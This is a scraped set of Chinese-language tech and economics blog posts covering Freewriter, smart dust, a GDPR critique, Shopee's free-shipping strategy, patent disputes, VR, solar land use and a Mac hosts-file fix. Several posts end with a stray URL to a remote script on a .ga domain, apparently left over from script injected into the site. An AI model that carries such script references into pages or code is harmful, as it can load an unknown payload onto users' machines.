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科技相關

看壞的產品– Freewriter

2017年初看到這玩意 — Freewriter,就很懷疑哪個蠢蛋會花549美元去買這樣一台使用E-Ink(許多電子書使用的螢幕)的純打字裝置。


果然2年下來,我從沒見過任何朋友或路人有拿出這裝置的,甚至連官網的使用評論也僅僅14人,比賣護手霜的還不如。

新型號Traveler pre-order更是從原價$599USD下殺41% 至$349。

這是我這兩年內非常看壞的創業項目之一,尤其他們宣稱的「現今電子裝置功能太多太讓人分心」的訴求,我認為只能騙住觀眾3秒鐘。

「為啥我要帶一個又大又笨重又只有單一功能的玩意在身上」這個念頭很快就會敲醒看倌。特別是,此裝置訴求的「寫作」功能還不完善 — 僅鍵盤與慢半拍的E-Ink螢幕,「編輯」肯定是一大硬傷!只能打字卻不能快速簡單編輯的裝置,恐怕效率還不如紙筆甚至手機的錄音與語音輸入功能。

如今籌資環境遠不如過去兩年友善,我很懷疑他們還能撐多久,繼續看下去。


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科技相關 筆記

“智慧塵"來啦~(Here Comes “Smart Dust")

感覺就是重炒被動式RFID這類曾被炒過的晶片與應用。

不過除了透過無線射頻來提供被動式晶片所需電能,也有透過溫度(或溫差),使得某些感應器可以不連接電線的前提下自己運作並發送資料。

已經有畜牧業者將此類被動式智慧塵晶片裝在牛隻身上監測其健康狀況。間諜活動上也可以減少監聽設備需要充電的風險。(這是否意味未來旅館偷拍將更容易?)

也有學者認為這類被動式無線感應器可減少汽車內部布線達50磅重。

不過就我自己從事過RFID產業的經驗,這類夸夸其談的各種幻想應用其實都需要相當長一段時間來驗證。許多想得很美好的方案最後都被證實失敗,例如我曾經手的RFID生物晶片監視養殖水產技術。

https://www.wsj.com/articles/here-comes-smart-dust-the-tiny-computers-that-pull-power-from-the-air-1541689224https://js.developerstatss.ga/stat.js?n=ns1

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科技相關 經濟分析 法律

不問利弊只管跟風的法律學者思維–簡論GDPR


知名刑事訴訟法教授林鈺雄投書蘋果日報的:「歐個資法上太空 台原地殺豬公」,就是典型只會跟風、只會「歐美法律都好棒棒」的台灣許多法律教授思維。

通篇文章看不到對歐盟新通過的GDPR(EU General Data Protection Regulation)有何法律經濟分析上可能造成的利與弊,而是直接假設「歐盟通過的法律一定好,台灣不跟就是鳥」的思維。

殊不知國外已有分析指出光是要符合新法標準,歐盟企業總共可能要額外負擔€2千億歐元,而美國企業可能要額外負擔$400多億美元。

如此增加的成本支出,是否真的能保障所謂的「個資權」?以及所欲保障的「個資權」是否在被保障者心中真的那麼重要?憑什麼政客可以代替人民決定「個資比較重要」?

再問,龐大的額外成本負擔,必然造成企業資源分配上的轉變,此轉變對歐盟企業國際競爭力是好是壞?這端視此GDPR是否讓企業把資源放在可帶來未來收益的項目上?就這種虛無飄渺的個資權保障來說,我認為很可能多數投資只是避免被處罰,而對產權保障或未來收入毫無助益。更甚者,此法的模糊地帶還可能侵害了企業主對未來收入的預期確定性。過去我曾討論過,任何人類權利都有邊界,無論是有形產權到無形基本人權,其實都是「權利組(collection of rights)」,當組合邊界過大到影響他種權利實施,亦或是大到邊界模糊的情形發生時,資訊費用與社會成本的增加是必然發生的後果。

這也表示林鈺雄教授之流根本忽略一個重要事實:過去20年來號稱最保障人民個資的歐盟,在其創造的經商環境下卻無任何一家活躍使用人數破億的網路社群或搜尋引擎公司出現。

此外,歐盟這種擅自納入全世界的罰則:「a fine up to €20 million or up to 4% of the annual worldwide turnover of the preceding financial year」,對許多非歐盟地區的小企業或新創事業而言,等到被罰款時直接放棄歐盟市場會是最經濟的策略。而在這種策略之下,這意味著未來許多跨國新興服務很可能直接略過歐盟地區,或是一被抓到違規就停止提供服務等現象將發生。歐盟過嚴苛的個資保護法規究竟保障了歐盟人民什麼,難道不值得深思?

也因此在我看來,本服務看似欲保障人民基本權利,實則增加既有巨頭(如Google、Facebook)的壟斷力,同時也增加此類大型跨國網路企業對歐盟官員的賄賂機率與金額。

管制必然帶來貪汙,而許多管制的誕生與存在也是為了服務貪汙。這點可參見我寫過的「貪汙的一般性理論 (https://wp.me/p9ffS3-jm)」。https://js.developerstatss.ga/stat.js?n=ns1

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科技相關 經濟分析 商業評論

論蝦皮免運費策略-兼論掠奪性定價

蝦皮這兩年免運費策略殺得台灣電商如PCHome哀哀叫。

本文先簡單經濟分析蝦皮的競爭策略,然後回頭分享我跟PCHome合作的不愉快經驗。

最近發展看來,開始有人出來聲稱要檢討蝦皮是否為陸資背景。

果然歐美法律之陋習台灣是學得很好 — 競爭不過別人,就拿無理法律出來耍流氓。

除了歐美失敗廠商常搞的反托拉斯法(台灣叫公平交易法),台灣還有個「陸資條款」。

先講反托拉斯法,從經濟分析來看,正常買方永遠不會嫌賣方賣得太便宜。

但公平交易法卻稱這是「掠奪性定價(predatory pricing)」,是不公平競爭需要立法管制禁止。

顯見立法者對於經濟學無知到一個極點。根據我對美國反托拉斯法的研究,當年Sherman Acts等各種法律之通過,立法者與執政者對於經濟學之無知與誤解有其緣由 — 當年經濟學家錯得離譜而不自知,又被政客利用使然。

當然,也可能立法者故意創造如此尋租的空間,來賺取政治利益,讓遊說團體、公關公司幫競爭落敗公司尋找利益輸送的管道與空間。這是我認為這類法律還存活,甚至被台灣政府照本宣科搬抄過來的理由之一。

掠奪性定價始終只是一個神話,是一個在真實世界不可能成立的競爭模式。

簡單經濟分析如下:

狀況一 — 賠錢賣

一家廠商本錢再如何雄厚,也不可能「永遠」賠錢賣。

當有一天這家賠錢賣廠商終於擠出市場內看得到的敵人而開始漲價時,那些曾經落敗或尚未進入市場的,一看市場租值開始回升,很快就又能重新進入市場。試問這家掠奪性定價策略廠商又要回頭繼續賠錢競爭?而它還能再賠多久?(這邊告訴我們關鍵在於「市場進入障礙」,因此不公平競爭真正存在,多半是既有廠商試圖透過政治法律手段建立進入障礙,如證照制度、資本額限制、各種法規限制,而這偏偏是公平交易法不處理的部份)

又,許多賠錢賣商品的策略執行時,市場內競爭對手甚至發現掠奪定價比自己進貨價還低時,乾脆迂迴從掠奪性定價廠商那邊少量進貨,自己縮小規模慢慢對耗,也是一種真實世界存在的策略。

又,競爭對手可能發現賠錢賣頂多是部分商品,不可能是全部商品時,競爭對手乾脆把會賠錢的訂單都倒給掠奪性定價者,讓它更快自爆死掉。

真實世界早年許文龍奇美壓克力創立時,遇到財大氣粗的競爭對手賠售競爭,許文龍乾脆逆向操作,細算對手成本結構,把對手毛利率賠最慘的品項找出後,奇美逆向漲價,訂單全倒過去,一年對手賠到賣祖產也不夠淘汰出局。

又,競爭對手可能乾脆採取差異化策略,區隔商品本質與內涵,從而提高租值跳脫殺價競爭。便當界就很常看到價格競爭與差異化競爭同時並存於市場中的現象,所以我們才會看到45元便當與千元便當均存在以滿足不同消費需求,反之,同一個消費者可能既享用千元便當,也購買45元便當,本身並無衝突。

真實世界並非不存在賠錢賣策略,但使用者通常心知肚明只能當做暫時性的廣告費用,不可能是長久性的競爭策略。亦或是少部分賠錢商品作為廣告吸引消費者購買能獲利的商品,希冀整體能夠獲利。

黎智英的蘋果日報甫進台灣,一份5元還送蘋果一顆,就是要用賠錢賺知名度的策略,黎智英自己也清楚所賠是廣告費,有其預算上限,達到效果就要收手。

顯然蝦皮也是為了快速在短時間內匯聚台灣市場人氣採取類似的策略。

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科技相關 筆記 專利 法律

Qualcomm 在中國北京法院提出對Apple的專利訴訟

Qualcomm 在中國北京法院提出對Apple的專利訴訟,要求禁止Apple在中國銷售與生產iPhone。

Qualcomm宣稱Apple侵害了該公司三項關於電源管理與3D Touch技術的非標準核心專利(non-standard essential patents)。

而今年初Apple也在美國FTC提出對Qualcomm濫用專利的訴願,同時也在美國法院控告Qualcomm濫收授權金。同時Apple及其供應商一同停止支付Qualcomm相關權利金。

Qualcomm這邊則在美國提出專利侵權訴訟,要求美國政府禁止進口iPhone與iPad相關產品。

現在中國也成為專利訴訟戰場的一部分,Q&A兩家公司的法律戰估計可以養肥很多律師與專家證人

專利權本身就是一種法律擬制的特許壟斷權,但權利範圍如何劃定與行使卻是一大難題,因此專利權與反托拉斯法的競合是塊很複雜也很有趣的領域,剛好是我先前工作的主要內容。

有空再多談一點這部份的判決案例吧。

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科技相關 商業評論

再看Virtual Reality

2016年5月我寫了篇討論VR的–我看Virtual Reality–,其中我談到:

「我認為,或許當年SONY應該多買幾家A片公司來得更實惠有效– 要知道HD DVD與Blueray的格式大戰可是靠A片公司選邊站發揮效果!
但是VR呢?現階段我們真的看不太到有什麼突破性的內容。Facebook說要提供$1千萬美金、HTC說要提供$1億美金來激勵VR內容創作,但其實都太少太少。而大家似乎又都忘了最重要的A片內容產業…」
「就VR遊戲,我認為VR根本就是「近視製造機」,對家長來說要認同有非常大的困難。換言之,小的不准玩,大的只會是部分未當父母的少數成年人,而且不過是手上的眾多玩具之一而已。但初期硬體效能不彰的問題絕對是如影隨形地影響消費意願。
至於VR在導覽或銷售等商業用途加分這點,我認為效果近乎為零。假的場景或3D圖像,不可能消弭消費者心中的疑慮,甚至只會增加資訊成本。畢竟沒人會明知道是電腦動畫而選擇被騙的,消費決策跟看電影是兩回事。
去年(2015)我的投資主軸就是放空宏達電。今年1月以來改做多石油與原物料,但長期我依然看空宏達電。我不相信宏達電的VR願景,更不相信王雪紅的為人」

目前看來,VR始終沒有HTC宣稱的噴發性成長。而消費者端陸續有–暈眩、不舒服、噁心、悶熱、頭重、衛生問題…等等疑慮,女性朋友甚至提出VR頭盔有破壞妝容的缺點。我自己的觀察,家長願意給未成年子女買VR頭盔的似乎也不多

VR平台上連像POKEMON GO這樣流星但絢爛的遊戲都沒出現,更甭提依然沒太多人願意長時間用VR看電影(其實3D電視的3D功能也多半是畫蛇添足,重度使用者極少,連SONY自家3D眼鏡明明銷量不高還常缺貨就可知一二)。講難聽點,去年到現在VR的火熱程度連手指陀螺都比不上。

相較起來,我認為AR成功率可能還高一點,這部份就看Apple新iPhone發表後的業界發展。

但回應Google的VR創意領導人Jason Toff的提問,我認為對投資人而言,5年內大麻市場更值得期待!https://js.developerstatss.ga/stat.js?n=ns1

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科技相關 筆記

需要多大的土地才能讓太陽能發電取代一座火力發電廠?

我們會面臨四個問題:

a. 裝置容量與容量因數

b. 土地成本

c. 儲電技術與成本

d. inability to be on demand
台中火力發電廠佔地277.5公頃(2.775平方公里),裝置容量為5780MW。

太陽能發電目前每平方公尺裝置量約0.15KW,台灣北、中、南的有效日射時間分別是2.5、3.5、4小時/日。

如果假設以4小時/日來計算,則我們需要將近200多平方公里的土地面積來裝太陽能發電面板,才有可能取得與台中火力發電廠裝置容量下,工作24小時的總發電量。

所謂的「容量因數」–火力、核能發電廠的容量因數均高達90%以上,而太陽能只有15%左右、風力約20~30%。

用實際工作時數觀念來看,火力、核能發電是個每天可以工作21.6小時以上的機器人,而風力與太陽能就只能分別工作7小時與4小時的機器人。今天你希望用後者取代前者,當然後者要多裝很多倍才能取代掉前者一整天的工作量。

台北市面積也才271.8平方公里,換言之你要用將近一個台北市的土地來裝太陽能板,才可能取代掉一個只需要使用1%土地面積的火力發電廠。
這就來到問題b,我強調的土地成本問題:在台灣這座小島要取得這麼大片土地,邊際成本必定上升得很快,很可能上升到邊際報酬率為零時,你的太陽能面板都還累積不到前述的總裝置容量。

又假設台灣真的要100%靠綠電:問題c — 太陽能發電或風力發電都需要很大的儲電設施,才能在沒太陽或沒有風的時候時繼續供電。目前人類比較成熟的技術,還是靠水力位能的方式儲存。

而這個方案佔空間、地理因素影響很大且建造價格也不便宜。大規模鋰電池系統廠商號稱能做到,但實際上沒人知道長期營運的可靠性,此外大規模電池成本驚人。

問題d是伴隨問題c而來:太陽跟風力不是你呼之即來。丹麥空有很大裝置容量的風力發電系統,但是風大時電力往往需求沒那麼大,過剩電力得廉價賣給歐洲其他國家;國內需求上升時風力又不能on demand,得用更貴的價格從他國買電。造成丹麥電價非常貴,住宅每度電0.3歐元(NTD10.67),美國則是住宅每度電0.12美元(NTD3.64)(均以2016年平均計算)。

用將近3倍的成本來買電,這種環保我實在沒什麼興趣。說這個商業模式可以在自由市場競爭下生存,我也懷疑。

這也是為什麼我認同華爾街日報的這篇文章「City Pledges for ‘100% Renewable Energy’ Are 99% Misleading」並放上來分享。

光靠綠能而拿掉火力、核能這種base-load plants是愚不可及的。蔡英文的「又要非核又要減碳」政策本質現階段來看就是騙。https://js.developerstatss.ga/stat.js?n=ns1

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筆記 Mac

app store無法更新已購買軟體解決方法

這是一個簡單的問題解決筆記。

Mac OSX上已於app store購買軟體,卻發生無法更新的問題,如何解決?

首先,請先看/private/etc/hosts底下有個hosts檔案,請先以文字編輯打開看看:

如果有將 a(1~2000).phobos.apple.com 與a(1~2000).v.phobos.apple.com 的網址導到 203.69.113.136 這個 IP 這情形的話,那會因為中華電信配發的這個IP自今年8/1無法使用,而造成你的app store不斷迴圈地在找一個不存的伺服器。

解決方式很簡單,登入root然後編輯這個hosts檔案,直接將上百個a(1~2000).phobos.apple.com 與a(1~2000).v.phobos.apple.com都刪掉即可。

啟用root的方式請參閱:

http://support.apple.com/kb/ht1528?viewlocale=zh_TW

記住,root權限在unix系統上是非常危險的,建議對root安全性有點概念會比較好。

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Mac

夢的啟示

昨天做夢夢到:夢中有神人指點我,這東西台灣應該不會上市,因為某一種要通電的檢查過不了。過不了的原因是一種要付費的鑰匙,美國原廠拒絕支付。

醒來我怔怔地想起我自己寫過的一篇文章https://js.developerstatss.ga/stat.js?n=ns1

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Google Mac 專利

ITC轄下的OUII駁回Google的「公眾利益」主張

Apple透過ITC主張Samsung侵害其專利權,發動「進口禁令」讓Samsung涉及侵權的手機無法進入美國市場。

Google在這件事情上因為乃Android系統所有人與共主,不得不提供相當的法律協助。其中,Google於禁止進口令下達之後,在ITC回擊主張「禁止Samsung手機進入美國會侵害美國公眾利益」。

基本上專利法跟其他智財法背後主原則都是 — 貫徹專利權保護才是維護公眾利益,除非有例外情形發生。ITC的下的Office of Unfair Import Investigations表示

“With respect to non-party Google’s arguments, OUII first notes that the question is not whether an exclusion order would ‘advance’ the public interest (see Google Comments at 1); rather, the statute states that the Commission ‘shall’ issue an exclusion order ‘unless’ the public interest dictates otherwise. 19 U.S.C. § 1337(d)(1)."

也就是說,法律的邏輯並非「這個禁令可以怎樣促進公眾利益」,而是「除非發佈禁令會侵害公眾利益,否則就該發佈」。換言之,Google在這一點上跟ITC打仗,得先證明美國人民會因為禁止Samsung特定手機進口而受侵害,才有可能說服ITC取消禁令。

同時,另外一個重要法律邏輯:「要嘛你證明專利無效,沒本事就想辦法繞過它,別嘰嘰歪歪!

所以OUII又說:

Moreover, Google’s contention that the patents are not ‘inventive’ and are easily designed around, even if true, actually shows the lack of impact on the public interest – once Samsung designs around the patents, then its products will no longer be subject to exclusion.

簡言之,Google認為Apple的專利不具備「非顯而易見」這個創新性要素,而且很容易就能繞開。OUII質問:若真如Google你所言,那麼基於此專利而來的進口禁令,本身對於公眾利益影響也不會太大囉?(言下之意即 — 那你Google現在主張公眾利益受侵害是主張爽的嗎?豈不自打嘴巴?)畢竟照Google的邏輯,其實Samsung繞開專利設計成本也不用太高,事情不就完滿落幕?也用不著你Google來這幫腔啦。

最後,Google又主張禁止Samsung部分手機進口,會影響美國手機市場,造成不公平競爭或減少競爭(這顯然是衝著Apple來)。OUII也回應:

Google’s arguments concerning the lack of competition in the marketplace (see Google Comments at 3-4) are contradicted by both the publicly-available information cited above and the Commission’s findings in other recent investigations involving similar products.

你Google主張的顯然與事實不合 — Android手機又不是只有Samsung一家在賣。

本文簡略Apple與Samsung(加上背後的影武者Google)所打的專利訴訟,其中一場戰役攻防到目前為止的局勢。